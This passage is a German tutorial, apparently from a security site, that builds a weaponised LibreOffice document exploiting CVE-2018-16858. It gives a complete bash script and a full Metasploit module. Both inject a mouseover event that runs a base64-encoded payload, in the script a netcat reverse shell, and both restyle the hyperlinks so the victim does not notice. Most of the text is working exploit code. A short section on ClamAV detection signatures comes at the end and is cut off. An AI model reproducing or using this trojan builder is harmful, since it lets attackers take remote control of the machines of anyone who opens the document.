Dies ist nichts anderes als das Tag, das LibreOffice zur Definition von Text verwendet. Eigentlich reicht es aus, wenn ein beliebiger Text mit <text:p beginnt und mit > endet, um genau davor den Link einzufügen, der die Ausführung zusammen mit dem zuvor erstellten PAYLOAD ermöglicht. Das Ergebnis sieht dann so aus:

root@kitploit:~
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">

Dabei wird PAYLOAD durch den base64-codierten Code ersetzt, der mit der gewählten IP-Adresse und dem gewählten Port berechnet wurde. Außerdem muss nach dieser Einfügung das zuvor erwähnte Tag für den Textabsatz intakt bleiben.

Darüber hinaus muss das Ende des zusätzlich eingefügten Tags angegeben werden, sodass bei jedem Textende-Tag </text:p> dieses durch </text:a></text:p> ersetzt werden muss.

Zu diesem Zweck wird der Befehl sed verwendet, der es ermöglicht, alles, was über die Standardeingabe eingegeben wird, zu modifizieren. Das Format des Befehls lautet wie folgt:

root@kitploit:~
sed s/"suche"/"ersetze"/g

Das s teilt sed mit, dass wir eine Ersetzung durchführen möchten. Die erste Zeichenkette, im Beispiel als suche markiert, ist das, was der Befehl aus der über die Standardeingabe übergebenen Eingabe ändern wird. Im Beispielsbefehl ist die Zeichenkette ersetze das, womit sed das Gesuchte ersetzt. Der nach den beiden Wörtern angegebene Buchstabe g bewirkt, dass nicht nur das erste Wort, das dem Suchkriterium entspricht, ersetzt wird, sondern alle Wörter der Eingabe, die dem Kriterium entsprechen. Wenn dem Befehl, so wie er geschrieben ist, der folgende Satz übergeben wird:

root@kitploit:~
la busqueda de sed permite busquedas y cambiarlas por algo.

Wird der Befehl sed den folgenden Satz zurückgeben:

root@kitploit:~
la cambio de sed permite cambios y cambiarlas por algo.

Außerdem erlaubt sed einerseits reguläre Ausdrücke, sodass die Zeichen *, ., ^, [ und ] besondere Bedeutungen haben. Im zweiten Parameter von sed, dem, der die Ersetzung definiert, ermöglicht das Zeichen & die Ausgabe des Suchmusters. Es ist nicht die Absicht dieses Tutorials, auf alle Einzelheiten von sed einzugehen, daher werden lediglich die ausgeführten Befehle und ihre Funktion beschrieben. Wir verwenden Pipes |, die es ermöglichen, die Ausgabe eines Befehls als Eingabe für den nächsten zu verwenden.

root@kitploit:~
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;

In diesem Befehl wird die Datei content.xml.NEW an zwei aufeinanderfolgende Ausführungen des Befehls sed übergeben. Im ersten sed wird der Payload-Teil eingefügt. Es wird nach der Zeichenkette <text:p gesucht, gefolgt von einer unbestimmten Anzahl beliebiger Zeichen, die nicht > sind. Es wird auch gefordert, dass das Zeichen vor dem > kein Tag-Ende ist. Dieser reguläre Ausdruck wird wie folgt dargestellt:

root@kitploit:~
<text:p [^>]*[^\/]>

Diese gefundene Zeichenkette wird in die Ausgabe des sed-Befehls eingefügt, da wir das Zeichen & in der Ausgabe gefolgt vom Link-Tag einfügen, in dem wir auch die Aktion zuweisen, dass beim Bewegen der Maus über das Skript das gewünschte Python-Skript ausgeführt wird. Es handelt sich im Wesentlichen um eine Kopie des verwendeten Tags, wobei der über die Bash-Variable $PAYLOAD generierte PAYLOAD in der Mitte platziert wird.

Das Ergebnis dieser Änderung wird dann mit der zweiten sed-Änderung bearbeitet, die nach dem Textende-Tag </text:p> sucht und in der Ausgabe dasselbe Tag verwendet, das dem Ende des Link-Tags vorangestellt wird, sodass bei Auffinden von </text:p> die Ausgabe </text:a></text:p> lautet.

Mit beiden Änderungen wurde erreicht, dass die Datei content.xml.NEW in die gewünschte Datei umgewandelt wird. Daher wird die Ausgabe nach der Ausführung der sed-Befehle in die Ausgabedatei content.xml geleitet.

Danach wird die temporäre Datei content.xml.NEW nicht mehr benötigt, daher wird sie mit dem Befehl rm gelöscht.

root@kitploit:~
rm content.xml.NEW

Es muss auch eine Änderung vorgenommen werden, damit die im Inhalt generierten Hyperlinks beim Öffnen der Datei nicht als solche sichtbar sind. Daher muss die standardmäßige Unterstreichung der Hyperlinks entfernt werden. In der Datei styles.xml speichert LibreOffice die Stile im XML-Format, die durch Textänderungen modifiziert werden können.

Der Standardstil für Hyperlinks in LibreOffice heißt Internet_20_link. Daher muss zunächst der Name des Standardstils geändert werden, um ihn so zu benennen, dass LibreOffice das definierte Format nicht mit diesem Stil verknüpft, der die Unterstreichung erzwingt. Einfach jedem so benannten Stil wird eine 2 angehängt, sodass dieser Stil im Dokument nicht verwendet wird, falls er definiert ist. Andererseits wird ein neuer Stil mit genau diesem Namen definiert, der jedoch festlegt, dass er nicht unterstrichen ist. Das XML-Format dieses Stils lautet wie folgt:

root@kitploit:~
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>

Die einfachste Möglichkeit, einen Stil zu definieren und zu wissen, wie er im LibreOffice-Format codiert ist, besteht wahrscheinlich darin, einen neuen Stil zu erstellen, ihn nach Wunsch zu definieren, dann das Dokument zu speichern und zu entpacken und in der Datei styles.xml nachzusehen. In diesem Fall, wie man durch Lesen der Tag-Attribute erkennen kann, wurde in dem Stil lediglich festgelegt, dass er nicht unterstrichen ist und keine besondere Farbe hat.

Da wir nicht im Voraus wissen, wie die Datei aufgebaut ist und wo der Stil innerhalb der Stildatei positioniert werden muss, werden wir wieder eine etwas grobe, aber effektive Vereinfachung vornehmen. Wir suchen nach einem Stilende-Tag </style:style> und fügen am Ende die vorgeschlagene Stildedefinition hinzu. Wir werden nicht wissen, an welcher Position in der Datei das Tag genau platziert wird, aber dies ermöglicht es, keine komplexeren Regeln definieren zu müssen, um den Stil der Hyperlinks ohne Unterstreichung zu belassen, sodass derjenige, der die Datei öffnet, den Fehler nicht sofort erkennen kann.

Analog zum vorherigen Fall werden diese Änderungen mit dem Befehl sed durchgeführt, der wie folgt aussieht:

root@kitploit:~
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;

Der Fall ist analog zum vorherigen, und es wird das in den vorherigen Zeilen Beschriebene getan. Der Inhalt der Datei styles.xml.new wird auf dem Bildschirm ausgegeben. Im ersten sed wird der Name des Hyperlink-Stils geändert, indem eine 2 angehängt wird. Im zweiten sed wird der manuell definierte Stil hinzugefügt. Nach der Änderung wird alles in die Datei styles.xml umgeleitet, die die zu behaltende Datei ist. Die Datei styles.xml.NEW wird mit dem Befehl rm gelöscht.

Der letzte Schritt besteht darin, alles mit dem Linux-Befehl zip in eine neue Zip-Datei zu packen. Auch hier kann der Erfolg des Befehls mit der Bash-Variablen $? überprüft werden, die bei erfolgreicher Ausführung 0 zurückgibt.

Der Code für diesen letzten Teil lautet wie folgt:

root@kitploit:~
		zip -r exploit.odt mimetype .;

		if [ $? == 0 ]; then

			echo "exploit.odt created!!!"

		else

			echo "An error has occurr!!!"

		fi;

Der endgültige Code des gesamten Skripts wird in etwa so aussehen:if [ -e $1 ]; then

root@kitploit:~
	I=0;

	for fichero in `ls -a`; do

		I=$(($I+1));

	done;

	if [ $I -gt 2 ]; then

		echo "At least one file exists on the directory. Exiting.";

	else

		if [ "" == "$3" ]; then

			echo "I need an IP and a port to connect to.";

		else

			unzip $1;

			if [ $? != 0 ]; then

				echo "some error has occurr!!!Exiting!!";
				exit;

			fi;

			PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

			mv content.xml content.xml.NEW;
			cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
			rm content.xml.NEW;

			mv styles.xml styles.xml.NEW;
			cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
			rm styles.xml.NEW;

			zip -r exploit.odt mimetype .;

			if [ $? == 0 ]; then

				echo "exploit.odt created!!!"

			else

				echo "An error has occurr!!!"

			fi;

		fi;

	fi;

else
	echo "The odt file does not exists!!";

fi;

Generierung des Metasploit-Moduls

In diesem Abschnitt wird ein Metasploit-Modul erstellt, das es ermöglicht, das gleiche wie im vorherigen Abschnitt zu tun, aber einerseits in die Metasploit-Suite integriert werden kann und andererseits die Fähigkeit bietet, die in dieser Suite integrierten Payloads zu verwenden. Es ist zu beachten, dass dieses Modul eine Datei vom Typ .odt generiert und dass ein Handler eingerichtet werden muss, um eine Verbindung zum Host herzustellen, auf dem das Office-Dokument geöffnet wird.

Metasploit-Module werden normalerweise in der Sprache Ruby programmiert und verwenden die Bibliotheken und Klassen von Ruby und von Metasploit selbst, um die Integration mit den anderen Teilen der Suite zu erleichtern.

Das zu erstellende Modul basiert auf der Ausnutzung eines Exploits, dessen Ausnutzung die Verwendung eines Payloads beinhaltet, der ausgeführt werden soll. Unser Modul wird daher von der Metasploit-Klasse Msf::Exploit erben. Eine Besonderheit dieser Klasse ist, dass man einen auszuführenden Payload definieren kann, wenn das Modul verwendet wird.

Es wird mit Dateien gearbeitet, die geöffnet und geschlossen werden, sowie mit Zip-Dateien, daher werden auch die Bibliotheken fileutils und zip verwendet, um die .odt-Datei zu entpacken sowie den Inhalt der Dateien content.xml und styles.xml zu ändern.

Der Header des Moduls beginnt dann mit den folgenden Zeilen:

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

Nun wird begonnen, die Klasse zu definieren, die wir zusammenstellen. Zunächst sollten die verschiedenen Attribute des Moduls definiert werden. Diese werden alle in der Initialisierungsfunktion eingefügt, die lediglich einen Aufruf an die übergeordnete Klasse super durchführt, um die Attribute der Exploit-Klasse zu initialisieren. In diesem Teil muss keine Programmlogik programmiert werden, es müssen nur Variablen und Werte definiert werden.

Für die Definition der Attribute sind die folgenden Attribute zu definieren:

Name zur Definition des Modulnamens (Name). Beschreibung, die eine Beschreibung liefert, die beim Anzeigen der Hilfe des Moduls angezeigt wird (Description). Lizenz zur Definition der spezifischen Lizenz, die dem generierten Modul gegeben werden soll (License). Autor zur Definition, wer ein bestimmtes Modul erstellt hat (Author). Referenzen, in denen die CVE oder Referenz des Fehlers, der im implementierten Modul ausgenutzt wird, zitiert werden sollte (References). Plattform, die definiert, auf welchem Betriebssystem oder welchen Betriebssystemen das Modul verwendet werden kann (Platform). Architektur, die definiert, auf welcher Art von CPU das Modul ausgeführt werden kann (Arch). Payload, in dem Merkmale des Payloads definiert werden können, der innerhalb des Exploits verwendet werden kann ('Payload'). In diesem Attribut wird die Größe ('size') besonders wichtig sein, die normalerweise mit der Größe des Puffers zusammenhängt, der den Code ausführt, und ob eine Transformation der Bytes des Payloads für die Ausführung erforderlich ist oder nicht (DisableNops). Ziele, die sich auf die Payloads beziehen, die mit dem definierten Exploit ausgeführt werden können (Target). Es ist wichtig, dieses Attribut gut zu definieren, damit der Modulbenutzer beim Ausführen des Moduls keine falschen Payloads eingeben kann. Schließlich erlauben die zu registrierenden Optionen die Einführung neuer Variablen, die beim Ausführen des Exploits verwendet werden (register_options). Es werden neue Elemente definiert, die verschiedene Typen haben können. In unserem Fall wird eine Variable vom Typ Pfad definiert, in der der Pfad zur .odt-Datei, die trojanisiert werden soll, und ein Attribut vom Typ String, in dem der neue Name der .odt-Datei definiert wird, in der die trojanisierte Datei gespeichert wird. So wird die Originaldatei nicht geändert, sondern es wird eine neue trojanisierte Datei generiert. Zur Definition eines Attributs vom Typ Pfad wird der Konstruktor der Klasse optPath aufgerufen, für den String-Typ wird die Klasse optString verwendet.

Die Initialisierung dieser Attribute besteht einfach darin, Werte zu setzen. Im Modul sieht es wie folgt aus:

root@kitploit:~
def initialize(info = {})
	super(update_info(info,
	'Name'          => 'OpenOffice Backdoor Generator',
	'Description'   => '
	This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
	goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
	to be able to execute the script.
	',
	'License'       => MSF_LICENSE,
	'Author'        =>
	[
	'Animanegra', 
	],
	References'    =>
	[
	['CVE', '2018-16858'],
	['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
	],
	'Platform'      => 'linux',
	'Arch' =>	ARCH_X86,
	'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
	'Targets'	=>
	[
		[ 'linux' , 
		{
			'Platform' => 'linux'
	
		}]
	])
	)
	register_options(
		[
			OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
			OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
		]
	)
end

Mit dem in der Initialisierung Definierten ist man nun in der Lage, den logischen Teil des Exploits zu generieren, in dem die gleichen Aktionen durchgeführt werden, die im Exploit in bash definiert wurden, aber diesmal in der von Metasploit verwendeten Sprache ruby. Es wird genau das Gleiche getan, aber unter Verwendung der eigenen Funktionen der Sprache ruby.

Die zu definierende Funktion, die Metasploit aufruft, wenn man exploit oder run in der msfconsole eingibt, muss exploit heißen. Innerhalb dieser Funktion wird das eigentliche Programm definiert, das die entsprechenden Aktionen basierend auf den in der Initialisierung des erstellten Objekts definierten Attributen ausführt.

Zuerst wird überprüft, ob die vom Benutzer definierten Dateinamen auf .odt enden. Dies kann durch Überprüfen des Inhalts der Variablen datastore['INPUT'] und datastore['OUTPUT'] erfolgen. Man kann die Methode to_s verwenden, die sie in einen String umwandelt, und end_with, mit der definiert werden kann, ob der String mit einem bestimmten Wert endet oder nicht. Zum Beispiel der folgende Aufruf:

root@kitploit:~
datastore['INPUT'].to_s.end_with?('.odt')

Gibt wahr zurück, wenn der Pfad des Inputs auf .odt endet, andernfalls falsch. Die Überprüfung sieht also wie folgt aus:

root@kitploit:~
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

Nach dieser Überprüfung beginnt man mit dem Entpacken der Datei, um den Inhalt von content.xml und styles.xml auf die gleiche Weise wie im vorherigen Abschnitt zu ändern. Dies geschieht mit der Klasse Zip, die es ermöglicht, Zip-Dateien im Speicher zu öffnen und zu lesen, ohne den Inhalt direkt in eine Ausgabedatei zu schreiben. Dies erfolgt durch einen Aufruf von Zip::File.open. Der Aufruf dieser Methode gibt ein Objekt zurück, das anschließend ein Attribut vom Typ Iterator enthält. Mit diesem Attribut kann jede im Speicher entpackte Datei gelesen werden. Der Aufruf, den wir in Verbindung mit dem generierten datastore durchführen, in dem der Pfad zur .zip-Datei gespeichert ist, und mit dessen Iterator jede entpackte Datei in der Variable entry gespeichert wird, lautet wie folgt:

root@kitploit:~
	Zip::File.open(datastore['INPUT']) do |zipfile|

		zipfile.each do |entry|

Die Zip-Datei wird in einem Objekt namens zipfile geöffnet, und von diesem wird der Iterator mittels each entnommen, der in der Variable entry gespeichert wird. Diese Variable ermöglicht den direkten Zugriff auf die bereits entpackten Dateien und deren Attribute. Mit entry.name kann auf den Namen der Originaldatei zugegriffen werden. Da die Dateien mit den Namen styles.xml und contents.xml geändert werden sollen, kann man durch einen einfachen Vergleich die Datei lesen, um die Änderungen vorzunehmen. Die restlichen Dateien bleiben unverändert. Die Variable entry verfügt auch über eine Methode namens get_input_stream, so dass die Dateien der Zip-Datei ähnlich wie normale Dateien auf der Festplatte behandelt werden können. Die Klasse InputStream hat eine Methode namens read, die den gesamten Inhalt der Datei direkt in eine Variable ausgibt. Schließlich verfügt die Variable entry auch über die Methode is_directory, mit der festgestellt werden kann, ob die Datei in der Zip-Datei eine Datei oder ein Verzeichnis ist. Wenn es sich um ein Verzeichnis handelt, kann es ignoriert und nicht mit der Methode read gelesen werden, da es ein Element der Struktur der Zip-Datei selbst ist, das keinen eigenen Inhalt hat. Mit all diesen Methoden ist man nun in der Lage, die allgemeine Struktur des Algorithmus zu generieren, die unterscheidet, ob die Datei eine der zu ändernden Dateien ist, eine Datei, die nicht geändert werden soll, oder einfach nur ein Verzeichnis. Die allgemeine Struktur dieses Teils ist wie folgt:

root@kitploit:~
			if entry.name == "content.xml"

	 		elsif entry.name == "styles.xml"

	 		else

				if !entry.name_is_directory?


				end

			end

Wenn die zu lesende Datei content.xml heißt, muss der vom Benutzer gewählte Payload eingefügt werden; wenn sie styles.xml heißt, muss der Stil der Hyperlinks geändert werden; und wenn es keine dieser Dateien ist, falls es sich nicht um ein Verzeichnis handelt, wird die Datei einfach ohne Änderungen eingefügt.

Die ideale Verarbeitung wäre, die Dateien nach und nach in das neue Dokument einzufügen, während sie gelesen werden. Daher wird, ähnlich wie die Datei mit der Klasse Zip im Lesemodus geöffnet wurde, eine weitere Datei im Schreibmodus geöffnet, in die die Dateien im laufenden Betrieb in die komprimierte Datei eingefügt werden.

Ähnlich wird ein Aufruf an die Methode File.open der Klasse Zip durchgeführt und die zurückgegebene Variable verwendet, um die verschiedenen Dateien, die in die Ausgabedatei aufgenommen werden sollen, in die zu öffnende Datei einzufügen. Der erste Parameter der Methode ist der Name der Datei, der aus dem vom Benutzer über die Schnittstelle von msfconsole gewählten Namen stammt. Auf diesen Namen wird über die Variable datastore['OUTPUT'] zugegriffen. Als zweiter Parameter wird angegeben, dass eine neue Zip-Datei erstellt werden soll, mittels der Konstanten Zip::File::CREATE. Ähnlich wie beim Öffnen im Lesemodus wird hier die folgende Codezeile eingefügt:

root@kitploit:~
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

Wie bereits erwähnt, wird die Variable outzip verwendet, um neue Daten in die Zip-Datei einzufügen. So wie zum Lesen einer Datei aus der Zip-Datei die Methode get_input_stream verwendet werden konnte, wird zum Schreiben die analoge Methode get_output_stream verwendet, und die Methode write wird genutzt, um Inhalte in die Datei einzufügen. Der Eingabeparameter für die Methode get_output_stream ist der Name der Datei. Da wir auf den Namen der gelesenen Datei über entry.name und auf den Inhalt der gelesenen Datei über entry.get_input_stream.read zugreifen können, können wir die Datei aus der Zip-Datei lesen und direkt in die Ausgabe-Zip-Datei schreiben, indem wir Folgendes tun:

root@kitploit:~
					data = entry.get_input_stream.read

					outzip.get_output_stream(entry.name) { |f| f.write data}

Wie zu sehen ist, enthält data den vollständigen Inhalt der Datei. Wenn der Name der Eingabedatei styles.xml oder contents.xml ist, muss dieser Inhalt vor dem Schreiben geändert werden; in den anderen Fällen ist keine Änderung erforderlich.

Ähnlich wie beim Befehl sed in der Befehlszeile gibt es in Ruby die Funktion gsub, die genau wie dieser Befehl funktioniert. Im Fall der Stildatei kann die Funktion sub wie folgt ausgeführt werden:

root@kitploit:~
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

Wie zu sehen ist, ist an dieser Funktion nichts besonders Bemerkenswertes. Es wird genau das Gleiche getan wie im Fall des Exploits in Bash. Nach der Änderung kann die Variable data in die Ausgabedatei der Zip-Datei geschrieben werden.

Der Fall der Datei contents.xml erfordert das Einfügen des vom Benutzer ausgewählten Payloads. Daher muss dieser in einer Variable im Base64-Format geladen und dann an der erforderlichen Stelle in der Datei eingefügt werden. Der Inhalt des auszuführenden Payloads kann über die Variable payload abgerufen werden. Da ein Payload im ausführbaren Format benötigt wird, wird die Methode encoded_exe() aufgerufen, die einen Payload im ausführbaren Format liefert, anstatt die Anweisungen ohne den für die Ausführung als eigenständigen Befehl erforderlichen Teil zu liefern. Da ein Base64-Format benötigt wird, wird das Binärformat mit der REX-Klasse mittels der Methode Text.encode_base64 codiert, die als Eingabe die zu codierenden Daten erwartet. Die in das Programm einzufügenden Anweisungen lauten wie folgt:

root@kitploit:~
				target_payload = payload.encoded_exe()

				b64_payload = Rex::Text.encode_base64(target_payload)

Damit steht in b64_payload der ausführbare Payload im Base64-Format zur Verfügung. Schließlich werden ähnliche Änderungen wie im sed-Befehl vorgenommen, bei dem das Wort PAYLOAD anstelle des Base64-Codes eingefügt wird, den wir im vorherigen Abschnitt verwendet haben. Nach allen Änderungen wird am Ende ein weiteres gsub hinzugefügt, das einem letzten Schritt entspricht, bei dem der Literal PAYLOAD durch den Inhalt der Variable b64_payload ersetzt wird. Der Code sieht wie folgt aus:

root@kitploit:~
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

Damit wäre die gesamte gewünschte Funktionalität für das Modul gelöst. Der vollständige Code des Moduls ist wie folgt:

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

	def initialize(info = {})
		super(update_info(info,
		'Name'          => 'OpenOffice Backdoor Generator',
		'Description'   => '
			This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
			goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
			to be able to execute the script.
		',
		'License'       => MSF_LICENSE,
		'Author'        =>
			[
				'Animanegra', 
			],
		References'    =>
			[
			['CVE', '2018-16858'],
			['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
			],
		'Platform'      => 'linux',
		'Arch' =>	ARCH_X86,
		'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
		'Targets'	=>
			[
				[ 'linux' , 
					{
						'Platform' => 'linux'
	
					}]
			])
		)
		register_options(
			[
				OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
				OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
			]
		)

	end

	def exploit

		if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

			print "Ok we have the input and output file. Lets rock!!!\n\n"

			Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

				Zip::File.open(datastore['INPUT']) do |zipfile|

					zipfile.each do |entry|

						if entry.name == "content.xml"

							print "Changing content to insert command execution!!!\n"

							target_payload = payload.encoded_exe()

							b64_payload = Rex::Text.encode_base64(target_payload)

							data = entry.get_input_stream.read

							data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

							outzip.get_output_stream(entry.name) { |f| f.write data}

						elsif entry.name == "styles.xml"

							print "Changing style to make the user not to view the hyperlink.\n\n"

							data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

							outzip.get_output_stream(entry.name) { |f| f.write data}

						else

							if !entry.name_is_directory?

								data = entry.get_input_stream.read

								outzip.get_output_stream(entry.name) { |f| f.write data}

							end

						end

					end

				end

			end

		else

			print_error 'INPUT and OUTPUT must be both .odt file extension'

		end

	end

end

Sobald das Programm generiert wurde, wird es in einer Datei namens libreoffice.rb gespeichert und in den Pfad /modules/exploits/linux/misc kopiert. Beim nächsten Ausführen von msfconsole wird dieses neue Modul geladen. Es kann wie die anderen Module verwendet werden, indem man Folgendes ausführt:

root@kitploit:~
msf5 > use exploit/linux/misc/libreoffice 
msf5 exploit(linux/misc/libreoffice) >

Dort können die Optionen eingesehen werden:

root@kitploit:~
msf5 exploit(linux/misc/libreoffice) > show options 

Module options (exploit/linux/misc/libreoffice):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   INPUT                    yes       Path and filename to existing .odt to inject the payload selected.
   OUTPUT                   yes       Path and filename to make a new infected .odt file.


Exploit target:

   Id  Name
   --  ----
   0   linux

Und man kann eine Eingabedatei auswählen, indem man einen Wert für INPUT und einen Wert für OUTPUT festlegt und mit dem Befehl set payload einen kompatiblen Payload setzt.

Nachdem die ODT-Ausgabedatei generiert wurde, wird der generische Handler use exploit/multi/handler mit einem Payload verwendet, der mit dem bei der Generierung der .odt-Datei gewählten kompatibel ist.

Generierung von Signaturen zur Erkennung durch Antiviren

Als letzter Schritt werden eine Reihe von Antiviren-Signaturen generiert, die es ermöglichen, die generierte Hintertür zu erkennen, um diese Bedrohung abzuwehren. Da die meisten Antivirenprogramme Closed-Source sind, wird die Open-Source-Antivirensoftware ClamAV verwendet, die auf allen Plattformen ausgeführt werden kann.

Die erste zu erstellende Signatur ist eine statische Signatur. Dies ist der einfachste Signaturtyp, aber auch der am einfachsten zu umgehende. Diese Art von Signaturen besteht hauptsächlich aus einem statischen Hash und einer Dateigröße. Das von ClamAV geforderte Format besteht darin, dass in einer Datei mit der Erweiterung .hdb Zeilen vorhanden sind, die mit dem Hash (md5 oder sha1) beginnen, gefolgt von der Größe in Bytes und dem gewünschten Virenamen. Jede Zeile enthält nur eine Virendefinition und jedes Feld wird durch das Symbol : getrennt.

Wenn wir die Datei exploit.odt haben, für die die Signatur erstellt werden soll, können wir den md5- oder sha1-Hash berechnen, was einfach mit den Linux-Befehlen md5sum und sha1sum möglich ist. Die Befehle werden einfach mit dem Befehlsnamen gefolgt von der zu berechnenden Datei ausgeführt, ähnlich wie folgt:

root@kitploit:~
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt 
9158e2fc2f87b5ee050a279a38f6bfac  exploit.odt
user@host:~/$ sha1sum exploit.odt 
a39979533831fbb9eac4ba6c13469b4d421fc1c7  exploit.odt

Um die Dateigröße zu berechnen, ist es am einfachsten, den Befehl ls zu verwenden und ihm den Pfad zur Datei zu übergeben, ähnlich wie folgt:

root@kitploit:~
user@host:~/$ ls -al exploit.odt 
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt

Somit kann man eine Datei mit der Erweiterung .hdb mit dem md5- oder sha1-Hash und der erhaltenen Größe erstellen, die wie folgt aussieht:

root@kitploit:~
